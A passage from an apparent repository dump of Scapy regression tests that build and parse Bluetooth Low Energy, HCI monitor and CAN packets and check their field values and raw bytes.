SM_Public_Key in p and p.key_x[:3] == b\"sca\" and p.key_y[:2] == b\"py\"\n\n= SM_DHKey_Check() tests\n\nr = raw(SM_Hdr()/SM_DHKey_Check(dhkey_check=\"scapy\"))\nassert r == b'\\rscapy\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\np = SM_Hdr(r)\nassert SM_DHKey_Check in p and p.dhkey_check[:5] == b\"scapy\"\n\n\n+ HCIMon tests\n\n= HCI_Mon - Bluetooth Monitor Pcap Header\n\np = HCI_Mon_Pcap_Hdr(hex_bytes(\"00000008\"))\nassert HCI_Mon_Pcap_Hdr in p\nassert p[HCI_Mon_Pcap_Hdr].adapter_id == 0\nassert p[HCI_Mon_Pcap_Hdr].opcode == 8\n\n= HCI_Mon - Bluetooth Monitor HCI_Mon_New_Index\n\np = HCI_Mon_Pcap_Hdr(hex_bytes(\"0000000000030000109a81206863693000000000\"))\nassert HCI_Mon_New_Index in p\nassert p[HCI_Mon_New_Index].bus == 0\nassert p[HCI_Mon_New_Index].type == 3\nassert p[HCI_Mon_New_Index].addr == '20:81:9a:10:00:00'\nassert p[HCI_Mon_New_Index].devname.decode('utf-8').rstrip('\\x00') == 'hci0'\n\n= HCI_Mon - Bluetooth Monitor HCI_Mon_Delete_Index\n\np = HCI_Mon_Pcap_Hdr(hex_bytes(\"00000001\"))\nassert HCI_Mon_Pcap_Hdr in p\nassert p[HCI_Mon_Pcap_Hdr].opcode == 1\n\n= HCI_Mon - Bluetooth Monitor HCI_Mon_Index_Info\n\np = HCI_Mon_Pcap_Hdr(hex_bytes(\"0000000a0000109a81203101\"))\nassert HCI_Mon_Index_Info in p\nassert p[HCI_Mon_Index_Info].addr == '20:81:9a:10:00:00'\nassert p[HCI_Mon_Index_Info].manufacturer == 0x131\n\n= HCI_Mon - Bluetooth Monitor HCI_Mon_System_Note\n\np = HCI_Mon_Pcap_Hdr(hex_bytes(\"ffff000c426c7565746f6f74682073756273797374656d2076657273696f6e20322e323200\"))\nassert HCI_Mon_System_Note in p\nassert p[HCI_Mon_System_Note].note == b'Bluetooth subsystem version 2.22'\n"
  },
  {
    "path": "test/scapy/layers/bluetooth4LE.uts",
    "content": "% Regression tests for the bluetooth4LE layer\n\n##################################\n#### Bluetooth 4.0 Low Energy ####\n##################################\n\n+ BTLE tests\n\n= Default build\n\na = BTLE()/BTLE_ADV()/BTLE_ADV_IND()\nassert raw(a) == b'\\xd6\\xbe\\x89\\x8e\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00Z9`'\n\n= Basic dissection\n\nb = BTLE(raw(a))\nassert b.crc == 0x5a3960\nassert b[BTLE_ADV_IND].AdvA == '00:00:00:00:00:00'\n\n= BTLE_DATA build\n\na = BTLE(access_addr=0)/BTLE_DATA()/\"toto\"\na = BTLE(raw(a))\nassert a[BTLE_DATA].len == 4\nassert a[Raw].load == b\"toto\"\n\n= Longer BTLE_ADV\n\na = BTLE()/BTLE_ADV()/BTLE_CONNECT_REQ()/(b\"X\"*200)\nassert raw(a) == b'\\xd6\\xbe\\x89\\x8e\\x05\\xea\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXI\\xfc\\xcf'\npkt = BTLE(raw(a))\nassert pkt.Length == 0xea\nassert pkt.load == b\"X\" * 200\n\n= BTLE_DATA + EIR_ShortenedLocalName\n\ntest1 = BTLE() / BTLE_ADV() / BTLE_ADV_IND() / EIR_Hdr() / EIR_ShortenedLocalName(local_name= 'wussa')\ntest1e = BTLE(raw(test1))\nassert test1e[EIR_ShortenedLocalName].local_name == b\"wussa\"\n\n= LL_CONNECTION_UPDATE_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n        LL_CONNECTION_UPDATE_IND(win_size=2, win_offset=5, interval=0x400, timeout=500, instant=0xFEFE)\ntest = BTLE(raw(test))\nassert test[LL_CONNECTION_UPDATE_IND].win_size == 2\nassert test[LL_CONNECTION_UPDATE_IND].win_offset == 5\nassert test[LL_CONNECTION_UPDATE_IND].interval == 0x400\nassert test[LL_CONNECTION_UPDATE_IND].timeout == 500\nassert test[LL_CONNECTION_UPDATE_IND].instant == 0xFEFE\n\n= LL_CHANNEL_MAP_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n        LL_CHANNEL_MAP_IND(chM=0x1A1B1C1D1E, instant=0xFEFE)\ntest = BTLE(raw(test))\nassert test[LL_CHANNEL_MAP_IND].chM == 0x1A1B1C1D1E\nassert test[LL_CHANNEL_MAP_IND].instant == 0xFEFE\n\n= LL_TERMINATE_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n        LL_TERMINATE_IND(code=0x16)\ntest = BTLE(raw(test))\nassert test[LL_TERMINATE_IND].code == 0x16\n\n= LL_ENC_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n        LL_ENC_REQ(rand=0x1112131415161718, ediv=0x4321, \n                   skdm=0x1817161514131211, ivm=0x87654321)\ntest = BTLE(raw(test))\nassert test[LL_ENC_REQ].rand == 0x1112131415161718\nassert test[LL_ENC_REQ].ediv == 0x4321\nassert test[LL_ENC_REQ].skdm == 0x1817161514131211\nassert test[LL_ENC_REQ].ivm == 0x87654321\n\n= LL_ENC_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n        LL_ENC_RSP(skds=0x1817161514131211, ivs=0x87654321)\ntest = BTLE(raw(test))\nassert test[LL_ENC_RSP].skds == 0x1817161514131211\nassert test[LL_ENC_RSP].ivs == 0x87654321\n\n= LL_START_ENC_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_START_ENC_REQ()\ntest = BTLE(raw(test))\nassert test[BTLE_CTRL].opcode == 5\n\n= LL_START_ENC_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_START_ENC_RSP()\ntest = BTLE(raw(test))\nassert test[BTLE_CTRL].opcode == 6\n\n= LL_UNKNOWN_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_UNKNOWN_RSP(code=4)\ntest = BTLE(raw(test))\nassert test[LL_UNKNOWN_RSP].code == 4\n\n= LL_FEATURE_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_FEATURE_REQ(feature_set=0x011234)\ntest = BTLE(raw(test))\nassert test[LL_FEATURE_REQ].feature_set == \\\n    \"ext_reject_ind+le_ping+le_data_len_ext+tx_mod_idx+le_ext_adv+conn_cte_req\"\n\n= LL_FEATURE_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_FEATURE_RSP(feature_set=0x104321)\ntest = BTLE(raw(test))\nprint(test[LL_FEATURE_RSP].feature_set)\nassert test[LL_FEATURE_RSP].feature_set == \\\n    \"le_encryption+le_data_len_ext+le_2m_phy+tx_mod_idx+ch_sel_alg+antenna_switching_cte_aod_tx\"\n\n= LL_PAUSE_ENC_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PAUSE_ENC_REQ()\ntest = BTLE(raw(test))\nassert test[BTLE_CTRL].opcode == 10\n\n= LL_PAUSE_ENC_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PAUSE_ENC_RSP()\ntest = BTLE(raw(test))\nassert test[BTLE_CTRL].opcode == 11\n\n= LL_VERSION_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_VERSION_IND(version=7, company=0x59, subversion=1)\ntest = BTLE(raw(test))\nassert test[LL_VERSION_IND].version == 7\nassert test[LL_VERSION_IND].company == 0x59\nassert test[LL_VERSION_IND].subversion == 1\n\n= LL_REJECT_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_REJECT_IND(code=4)\ntest = BTLE(raw(test))\nassert test[LL_REJECT_IND].code == 4\n\n= LL_SLAVE_FEATURE_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_SLAVE_FEATURE_REQ(feature_set=0x1234)\ntest = BTLE(raw(test))\nassert test[LL_SLAVE_FEATURE_REQ].feature_set == \\\n    \"ext_reject_ind+le_ping+le_data_len_ext+tx_mod_idx+le_ext_adv\"\n\n= LL_CONNECTION_PARAM_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CONNECTION_PARAM_REQ(interval_min=10, interval_max=12, latency=1, timeout=2,\n                            preferred_periodicity=3, reference_conn_evt_count=4,\n                            offset0=5, offset1=6, offset2=7, offset3=8, offset4=9, offset5=10)\ntest = BTLE(raw(test))\nassert test[LL_CONNECTION_PARAM_REQ].interval_min == 10\nassert test[LL_CONNECTION_PARAM_REQ].interval_max == 12\nassert test[LL_CONNECTION_PARAM_REQ].latency == 1\nassert test[LL_CONNECTION_PARAM_REQ].timeout == 2\nassert test[LL_CONNECTION_PARAM_REQ].preferred_periodicity == 3\nassert test[LL_CONNECTION_PARAM_REQ].reference_conn_evt_count == 4\nassert test[LL_CONNECTION_PARAM_REQ].offset0 == 5\nassert test[LL_CONNECTION_PARAM_REQ].offset1 == 6\nassert test[LL_CONNECTION_PARAM_REQ].offset2 == 7\nassert test[LL_CONNECTION_PARAM_REQ].offset3 == 8\nassert test[LL_CONNECTION_PARAM_REQ].offset4 == 9\nassert test[LL_CONNECTION_PARAM_REQ].offset5 == 10\n\n= LL_CONNECTION_PARAM_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CONNECTION_PARAM_RSP(interval_min=10, interval_max=12, latency=1, timeout=2,\n                            preferred_periodicity=3, reference_conn_evt_count=4,\n                            offset0=5, offset1=6, offset2=7, offset3=8, offset4=9, offset5=10)\ntest = BTLE(raw(test))\nassert test[LL_CONNECTION_PARAM_RSP].interval_min == 10\nassert test[LL_CONNECTION_PARAM_RSP].interval_max == 12\nassert test[LL_CONNECTION_PARAM_RSP].latency == 1\nassert test[LL_CONNECTION_PARAM_RSP].timeout == 2\nassert test[LL_CONNECTION_PARAM_RSP].preferred_periodicity == 3\nassert test[LL_CONNECTION_PARAM_RSP].reference_conn_evt_count == 4\nassert test[LL_CONNECTION_PARAM_RSP].offset0 == 5\nassert test[LL_CONNECTION_PARAM_RSP].offset1 == 6\nassert test[LL_CONNECTION_PARAM_RSP].offset2 == 7\nassert test[LL_CONNECTION_PARAM_RSP].offset3 == 8\nassert test[LL_CONNECTION_PARAM_RSP].offset4 == 9\nassert test[LL_CONNECTION_PARAM_RSP].offset5 == 10\n\n= LL_REJECT_EXT_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_REJECT_EXT_IND(reject_opcode=2, error_code=4)\ntest = BTLE(raw(test))\nassert test[LL_REJECT_EXT_IND].reject_opcode == 2\nassert test[LL_REJECT_EXT_IND].error_code == 4\n\n= LL_PING_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PING_REQ()\ntest = BTLE(raw(test))\nassert test[BTLE_CTRL].opcode == 18\n\n= LL_PING_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / LL_PING_RSP()\ntest = BTLE(raw(test))\nassert test[BTLE_CTRL].opcode == 19\n\n= LL_LENGTH_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_LENGTH_REQ(max_rx_bytes=28, max_rx_time=329, max_tx_bytes=29, max_tx_time=330)\ntest = BTLE(raw(test))\nassert test[LL_LENGTH_REQ].max_rx_bytes == 28\nassert test[LL_LENGTH_REQ].max_rx_time == 329\nassert test[LL_LENGTH_REQ].max_tx_bytes == 29\nassert test[LL_LENGTH_REQ].max_tx_time == 330\n\n= LL_LENGTH_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_LENGTH_RSP(max_tx_bytes=28, max_tx_time=329, max_rx_bytes=29, max_rx_time=330)\ntest = BTLE(raw(test))\nassert test[LL_LENGTH_RSP].max_tx_bytes == 28\nassert test[LL_LENGTH_RSP].max_tx_time == 329\nassert test[LL_LENGTH_RSP].max_rx_bytes == 29\nassert test[LL_LENGTH_RSP].max_rx_time == 330\n\n= LL_PHY_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_PHY_REQ(tx_phys=\"phy_1m+phy_2m\", rx_phys=\"phy_coded\")\ntest = BTLE(raw(test))\nassert test[LL_PHY_REQ].tx_phys == \"phy_1m+phy_2m\"\nassert test[LL_PHY_REQ].rx_phys == \"phy_coded\"\n\n= LL_PHY_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_PHY_RSP(tx_phys=\"phy_1m+phy_2m\", rx_phys=\"phy_coded\")\ntest = BTLE(raw(test))\nassert test[LL_PHY_RSP].tx_phys == \"phy_1m+phy_2m\"\nassert test[LL_PHY_RSP].rx_phys == \"phy_coded\"\n\n= LL_PHY_UPDATE_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_PHY_UPDATE_IND(tx_phy=\"phy_2m\", rx_phy=\"phy_coded\", instant=1234)\ntest = BTLE(raw(test))\nassert test[LL_PHY_UPDATE_IND].tx_phy == \"phy_2m\"\nassert test[LL_PHY_UPDATE_IND].rx_phy == \"phy_coded\"\nassert test[LL_PHY_UPDATE_IND].instant == 1234\n\n# LL_MIN_USED_CHANNELS_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_MIN_USED_CHANNELS_IND(phys=\"phy_1m+phy_2m\", min_used_channels=3)\ntest = BTLE(raw(test))\nassert test[LL_MIN_USED_CHANNELS_IND].phys == \"phy_1m+phy_2m\"\nassert test[LL_MIN_USED_CHANNELS_IND].min_used_channels == 3\n\n# LL_CTE_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CTE_REQ(min_cte_len_req=20, rfu=1, cte_type_req=2)\ntest = BTLE(raw(test))\nassert test[LL_CTE_REQ].min_cte_len_req == 20\nassert test[LL_CTE_REQ].rfu == 1\nassert test[LL_CTE_REQ].cte_type_req == 2\n\n\n# LL_CTE_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CTE_RSP()\ntest = BTLE(raw(test))\n\n\n# LL_PERIODIC_SYNC_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_PERIODIC_SYNC_IND(id=2,\n                         sync_info=12345,\n                         conn_event_count=0x4321,\n                         last_pa_event_counter=0xabcd, sid=0xF,\n                         a_type=1, sca=3, phy=2, AdvA=\"cc:bb:bb:bb:bb:bb\",\n                         sync_conn_event_count=32)\ntest = BTLE(raw(test))\nassert test[LL_PERIODIC_SYNC_IND].id == 2\nassert test[LL_PERIODIC_SYNC_IND].sync_info == 12345\nassert test[LL_PERIODIC_SYNC_IND].conn_event_count == 0x4321\nassert test[LL_PERIODIC_SYNC_IND].last_pa_event_counter == 0xabcd\nassert test[LL_PERIODIC_SYNC_IND].sid == 0xF\nassert test[LL_PERIODIC_SYNC_IND].a_type == 1\nassert test[LL_PERIODIC_SYNC_IND].sca == 3\nassert test[LL_PERIODIC_SYNC_IND].phy == 2\nassert test[LL_PERIODIC_SYNC_IND].AdvA == \"cc:bb:bb:bb:bb:bb\"\nassert test[LL_PERIODIC_SYNC_IND].sync_conn_event_count == 32\n\n\n# LL_CLOCK_ACCURACY_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CLOCK_ACCURACY_REQ(sca=2)\ntest = BTLE(raw(test))\nassert test[LL_CLOCK_ACCURACY_REQ].sca == 2\n\n\n# LL_CLOCK_ACCURACY_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CLOCK_ACCURACY_RSP(sca=3)\ntest = BTLE(raw(test))\nassert test[LL_CLOCK_ACCURACY_RSP].sca == 3\n\n\n# LL_CIS_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CIS_REQ(cig_id=3, cis_id=2, phy_c_to_p=1, phy_p_to_c=2,\n               max_sdu_c_to_p=123, max_sdu_p_to_c=321,\n               sdu_interval_c_to_p=234, framed=1, sdu_interval_p_to_c=432,\n               max_pdu_c_to_p=123, max_pdu_p_to_c=234,\n               nse=10, subinterval=4567,\n               bn_c_to_p=3, bn_p_to_c=2,\n               ft_c_to_p=15, ft_p_to_c=16,\n               iso_interval=12345,\n               cis_offset_min=1, cis_offset_max=999,\n               conn_event_count=2)\ntest = BTLE(raw(test))\nassert test[LL_CIS_REQ].cig_id == 3\nassert test[LL_CIS_REQ].cis_id == 2\nassert test[LL_CIS_REQ].phy_c_to_p == 1\nassert test[LL_CIS_REQ].phy_p_to_c == 2\nassert test[LL_CIS_REQ].max_sdu_c_to_p == 123\nassert test[LL_CIS_REQ].framed == 1\nassert test[LL_CIS_REQ].max_sdu_p_to_c == 321\nassert test[LL_CIS_REQ].sdu_interval_c_to_p == 234\nassert test[LL_CIS_REQ].sdu_interval_p_to_c == 432\nassert test[LL_CIS_REQ].max_pdu_c_to_p == 123\nassert test[LL_CIS_REQ].max_pdu_p_to_c == 234\nassert test[LL_CIS_REQ].nse == 10\nassert test[LL_CIS_REQ].subinterval == 4567\nassert test[LL_CIS_REQ].bn_c_to_p == 3\nassert test[LL_CIS_REQ].bn_p_to_c == 2\nassert test[LL_CIS_REQ].ft_c_to_p == 15\nassert test[LL_CIS_REQ].ft_p_to_c == 16\nassert test[LL_CIS_REQ].iso_interval == 12345\nassert test[LL_CIS_REQ].cis_offset_min == 1\nassert test[LL_CIS_REQ].cis_offset_max == 999\nassert test[LL_CIS_REQ].conn_event_count == 2\n\n\n# LL_CIS_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CIS_RSP(cis_offset_min=1, cis_offset_max=999, conn_event_count=400)\ntest = BTLE(raw(test))\nassert test[LL_CIS_RSP].cis_offset_min == 1\nassert test[LL_CIS_RSP].cis_offset_max == 999\nassert test[LL_CIS_RSP].conn_event_count == 400\n\n\n# LL_CIS_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CIS_IND(AA=0x12345678, cis_offset=1,\n               cig_sync_delay=999, cis_sync_delay=400, conn_event_count=300)\ntest = BTLE(raw(test))\nassert test[LL_CIS_IND].AA == 0x12345678\nassert test[LL_CIS_IND].cis_offset == 1\nassert test[LL_CIS_IND].cig_sync_delay == 999\nassert test[LL_CIS_IND].cis_sync_delay == 400\nassert test[LL_CIS_IND].conn_event_count == 300\n\n\n# LL_CIS_TERMINATE_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CIS_TERMINATE_IND(cig_id=33, cis_id=44, error_code=55)\ntest = BTLE(raw(test))\nassert test[LL_CIS_TERMINATE_IND].cig_id == 33\nassert test[LL_CIS_TERMINATE_IND].cis_id == 44\nassert test[LL_CIS_TERMINATE_IND].error_code == 55\n\n\n# LL_POWER_CONTROL_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_POWER_CONTROL_REQ(phy=3, delta=-34, tx_power=55)\ntest = BTLE(raw(test))\nassert test[LL_POWER_CONTROL_REQ].phy == 3\nassert test[LL_POWER_CONTROL_REQ].delta == -34\nassert test[LL_POWER_CONTROL_REQ].tx_power == 55\n\n\n# LL_POWER_CONTROL_RSP\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_POWER_CONTROL_RSP(min=0, max=1, delta=-34, tx_power=55, apr=4)\ntest = BTLE(raw(test))\nassert test[LL_POWER_CONTROL_RSP].min == 0\nassert test[LL_POWER_CONTROL_RSP].max == 1\nassert test[LL_POWER_CONTROL_RSP].delta == -34\nassert test[LL_POWER_CONTROL_RSP].tx_power == 55\nassert test[LL_POWER_CONTROL_RSP].apr == 4\n\n\n# LL_POWER_CHANGE_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_POWER_CHANGE_IND(phy=3, min=0, max=1, delta=-34, tx_power=55)\ntest = BTLE(raw(test))\nassert test[LL_POWER_CHANGE_IND].phy == 3\nassert test[LL_POWER_CHANGE_IND].min == 0\nassert test[LL_POWER_CHANGE_IND].max == 1\nassert test[LL_POWER_CHANGE_IND].delta == -34\nassert test[LL_POWER_CHANGE_IND].tx_power == 55\n\n\n\n# LL_SUBRATE_REQ\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_SUBRATE_REQ(subrate_factor_min=3, subrate_factor_max=0,\n                   max_latency=1, continuation_number=123, timeout=55)\ntest = BTLE(raw(test))\nassert test[LL_SUBRATE_REQ].subrate_factor_min == 3\nassert test[LL_SUBRATE_REQ].subrate_factor_max == 0\nassert test[LL_SUBRATE_REQ].max_latency == 1\nassert test[LL_SUBRATE_REQ].continuation_number == 123\nassert test[LL_SUBRATE_REQ].timeout == 55\n\n\n# LL_SUBRATE_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_SUBRATE_IND(subrate_factor=3, subrate_base_event=0,\n                   latency=1, continuation_number=123, timeout=55)\ntest = BTLE(raw(test))\nassert test[LL_SUBRATE_IND].subrate_factor == 3\nassert test[LL_SUBRATE_IND].subrate_base_event == 0\nassert test[LL_SUBRATE_IND].latency == 1\nassert test[LL_SUBRATE_IND].continuation_number == 123\nassert test[LL_SUBRATE_IND].timeout == 55\n\n\n# LL_CHANNEL_REPORTING_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CHANNEL_REPORTING_IND(enable=1, min_spacing=123, max_delay=124)\ntest = BTLE(raw(test))\nassert test[LL_CHANNEL_REPORTING_IND].enable == 1\nassert test[LL_CHANNEL_REPORTING_IND].min_spacing == 123\nassert test[LL_CHANNEL_REPORTING_IND].max_delay == 124\n\n\n# LL_CHANNEL_STATUS_IND\n\ntest = BTLE(access_addr=1) / BTLE_DATA() / BTLE_CTRL() / \\\n    LL_CHANNEL_STATUS_IND(channel_classification=123456789012345)\ntest = BTLE(raw(test))\nassert test[LL_CHANNEL_STATUS_IND].channel_classification == 123456789012345\n\n\n= BTLE_DATA + BTLE_EMPTY_PDU\n\ntest = BTLE(access_addr=1)/BTLE_DATA(LLID=1, len=0)/BTLE_EMPTY_PDU()\na = BTLE(raw(test))\nprint(dir(a))\nprint(a.layers)\nprint(a[BTLE_DATA].len, a[BTLE_DATA].LLID)\nassert a[BTLE_DATA].len == 0\n\n= BTLE_DATA + ATT_PrepareWriteReq\n\ntest3 = BTLE(access_addr=1) / BTLE_DATA() / L2CAP_Hdr() / ATT_Hdr() / ATT_Prepare_Write_Request(gatt_handle = 0xa, data=\"test\")\ntest3e = BTLE(raw(test3))\nassert test3e[ATT_Prepare_Write_Request].data == b\"test\"\nassert test3e[ATT_Prepare_Write_Request].gatt_handle == 0xa\nassert test3e[ATT_Hdr].opcode == 0x16\n\n\n= BTLE layers\n# a crazy packet with all classes in it!\npkt = BTLE()/BTLE_ADV()/BTLE_ADV_DIRECT_IND()/BTLE_ADV_IND()/BTLE_ADV_NONCONN_IND()/BTLE_ADV_SCAN_IND()/BTLE_CONNECT_REQ()/BTLE_DATA()/BTLE_PPI()/BTLE_SCAN_REQ()/BTLE_SCAN_RSP()\nassert BTLE in pkt.layers()\nassert BTLE_ADV in pkt.layers()\nassert BTLE_ADV_DIRECT_IND in pkt.layers()\nassert BTLE_ADV_IND in pkt.layers()\nassert BTLE_ADV_NONCONN_IND in pkt.layers()\nassert BTLE_ADV_SCAN_IND in pkt.layers()\nassert BTLE_CONNECT_REQ in pkt.layers()\nassert BTLE_DATA in pkt.layers()\nassert BTLE_PPI in pkt.layers()\nassert BTLE_SCAN_REQ in pkt.layers()\nassert BTLE_SCAN_RSP in pkt.layers()\n\n= BTLE_RF link\n\na = BTLE_RF()/BTLE()/BTLE_ADV()/BTLE_SCAN_REQ()\na.ScanA = \"aa:aa:aa:aa:aa:aa\"\na.AdvA = \"bb:bb:bb:bb:bb:bb\"\na.reference_access_address_valid = 1\na.reference_access_address = 0x8e89bed6\na.phy = 3\na.type = 5\na.noise = -90\na.signal = -75\na.rf_channel = 6\na.access_address_offenses = 10\nassert raw(a) == b'\\x06\\xb5\\xa6\\n\\xd6\\xbe\\x89\\x8e\\x90\\xc2\\xd6\\xbe\\x89\\x8e\\x03\\x0c\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xbb\\xbb\\xbb\\xbb\\xbb\\xbb\\x07\\xb2a'\n\na = BTLE_RF(raw(a))\n\nassert a.noise == -90\nassert a.signal == -75\nassert a.phy == 3\nassert a.type == 5\nassert a.reference_access_address_valid == 1\nassert a[BTLE_SCAN_REQ].ScanA == \"aa:aa:aa:aa:aa:aa\"\n\n+ Specific tests after issue GH#1673\n\n= DLT_USER0 with PPI\n\npkt = PPI(b'\\x00\\x00\\x18\\x00\\x93\\x00\\x00\\x006u\\x0c\\x00\\x00b\\t\\x00\\xe1\\xcf\\x01\\x00\\xf1\\xe3\\x92\\x00\\xd6\\xbe\\x89\\x8e@\\x14M\\x95P\\x16\\xfev\\x02\\x01\\x1a\\n\\xffL\\x00\\x10\\x05\\x0b\\x1c\\x0e\\xa86Z\\xf0\\x04')\nassert BTLE_PPI in pkt.headers[0].payload\n\n# We MUST NOT detect the BLTE link-layer at this point. This is intentionally\n# counter to issue 1673 -- Ubertooth One emits incorrect PCAP files.\nassert BTLE not in pkt\n\n= DLT_BLUETOOTH_LE_LL with PPI\n\npkt = PPI(b'\\x00\\x00\\x18\\x00\\xfb\\x00\\x00\\x006u\\x0c\\x00\\x00b\\t\\x00\\xe1\\xcf\\x01\\x00\\xf1\\xe3\\x92\\x00\\xd6\\xbe\\x89\\x8e@\\x14M\\x95P\\x16\\xfev\\x02\\x01\\x1a\\n\\xffL\\x00\\x10\\x05\\x0b\\x1c\\x0e\\xa86Z\\xf0\\x04')\nassert BTLE_PPI in pkt.headers[0].payload\n\n# Only now must we detect BTLE.\nassert BTLE in pkt\n\n= DLT_BLUETOOTH_LE_LL without PPI\n\npkt = BTLE_RF(b'\\x00\\xc6\\x80\\x00\\xd6\\xbe\\x89\\x8e7\\x00\\xd6\\xbe\\x89\\x8e@\\x14\\x03g\\xa6+\\xcbi\\x00\\x01\\x1a\\n\\xffL\\x00\\x12E\\x03\\x18y\\x9e\\x96\\x07\\xfa%')\nassert BTLE_RF in pkt\nassert BTLE in pkt\n"
  },
  {
    "path": "test/scapy/layers/can.uts",
    "content": "% Regression tests for the CAN layer\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n\n+ Basic operations\n\n= Load module\n\nimport math\nimport random\n\nrandom.seed()\n\nload_layer(\"can\", globals_dict=globals())\n\n= Build a packet\n\npkt = CAN(flags=\"error\", identifier=1234, data=\"test\")\n\n= Dissect & parse\n\npkt = CAN(raw(pkt))\npkt.flags == \"error\" and pkt.identifier == 1234 and pkt.length == 4 and pkt.data == b\"test\"\n\n= Check flags values\n\npkt = CAN(flags=\"remote_transmission_request\")\npkt.flags == 0x2\npkt = CAN(flags=\"extended\")\npkt.flags == 0x4\n\n############\n############\n\n+ Example PCAP file\n\n= Read PCAP file\n* From https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=CANopen.pca\n\nconf.contribs['CAN']['swap-bytes'] = False\n\nfrom io import BytesIO\npcap_fd = 